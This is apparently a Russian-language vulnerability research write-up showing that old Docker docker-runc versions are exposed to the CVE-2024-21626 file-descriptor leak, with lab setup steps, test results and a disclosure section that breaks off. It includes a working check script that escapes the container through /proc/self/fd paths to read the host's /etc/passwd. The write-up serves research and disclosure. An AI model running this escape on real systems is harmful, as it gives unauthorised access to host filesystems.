Уязвимость побега из контейнера в старых компонентах runc (CVE-2024-21626)

В ходе моего анализа CVE-2024-21626 я обнаружил, что другие старые компоненты Docker также уязвимы к утечке fd (что не упоминается в бюллетене безопасности GHSA-xr7r-f8xq-vfvv). Полное объяснение читайте в моей статье здесь.

1. Настройка окружения 🔨

A. Скачайте и установите версию Ubuntu 18.04.6 LTS (Bionic Beaver)

Во время установки не отмечайте флажок загрузки обновлений системы.

B. Установите уязвимую версию Docker и связанные компоненты

• Перейдите на https://download.docker.com/linux/static/stable/x86_64/ и скачайте старую версию docker-X.Y.Z-ce.tgz для тестирования

• Распакуйте архив, скопируйте содержимое в каталог /usr/bin и запустите Docker daemon.

  root@kitploit:~

  cd Downloads/
  tar xzvf <docker-X.Y.Z-ce.tgz>
  sudo cp docker/* /usr/bin/
  sudo dockerd &
  

C. Проверьте установленные версии

sudo docker version
containerd --version
uname -r

В старых версиях вместо runc используется docker-runc. Поэтому проверьте его:

ls -la /usr/bin | grep docker
    -rwxr-xr-x  1 root root    14128576 mar 19 10:54 docker
    -rwxr-xr-x  1 root root     8932648 mar 19 10:54 docker-containerd
    -rwxr-xr-x  1 root root     8381448 mar 19 10:54 docker-containerd-ctr
    -rwxr-xr-x  1 root root     3047368 mar 19 10:54 docker-containerd-shim
    -rwxr-xr-x  1 root root    39989264 mar 19 10:54 dockerd
    -rwxr-xr-x  1 root root      772400 mar 19 10:54 docker-init
    -rwxr-xr-x  1 root root     2534781 mar 19 10:54 docker-proxy
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc

ls -la /usr/bin| grep runc
    -rwxr-xr-x  1 root root       10232 mar 18  2018 bdftruncate
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc
    -rwxr-xr-x  1 root root       35000 gen 18  2018 runcon
    -rwxr-xr-x  1 root root       39096 gen 18  2018 truncate

Проверьте версию docker-runc/runc

runc --version
docker-runc -v

2. Проверьте, уязвима ли цель, и найдите нужный fd 🧐

Запустите checkVulnerability.sh и посмотрите, выводится ли файл в терминал

# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
    sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
    echo ""
done

# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

В этом примере я использовал версию docker-17.03.1-ce.

3. Попробуйте эксплойт 🔫

В этом примере я использовал версию docker-17.03.1-ce.

4. Результаты тестов 🧪

Ниже приведены результаты моего анализа, сгруппированные по версии Docker и использованной версии runc.

docker-runc

runc

Вот скриншот, показывающий три различные уязвимые версии.

1.0.0-rc2	1.0.0-rc3	1.0.0-rc4+dev

Как и в случае с CVE-2024-21626, различные типы атак по-прежнему возможны.

5. Заключение и выводы 🔚

Эта уязвимость значительно отличается от CVE-2024-21626, поскольку:

1. Она может быть вызвана в старых версиях Linux, в которых отсутствует системный вызов openat2.
2. Утёкший файловый дескриптор расположен в пути /run/runc/<container>/, который содержит состояние запущенных контейнеров, а не в каталоге хоста /sys/fs/cgroup.

Я обнаружил, что старые версии также уязвимы к той же технике атаки. Хотя сама уязвимость отличается, результат тот же: получение доступа к файловой системе хоста. Главный вывод — не полагаться исключительно на бюллетени безопасности: тщательно проверяйте всё. Полностью понимайте CVE, как он работает, экспериментируйте с ним в безопасной среде и исследуйте крайние случаи.

6. Ответственное раскрытие 🕺🏻

Я пытался связаться с [email protected], [email protected] и попытаться открыть CVE. Я получил следующие ответы: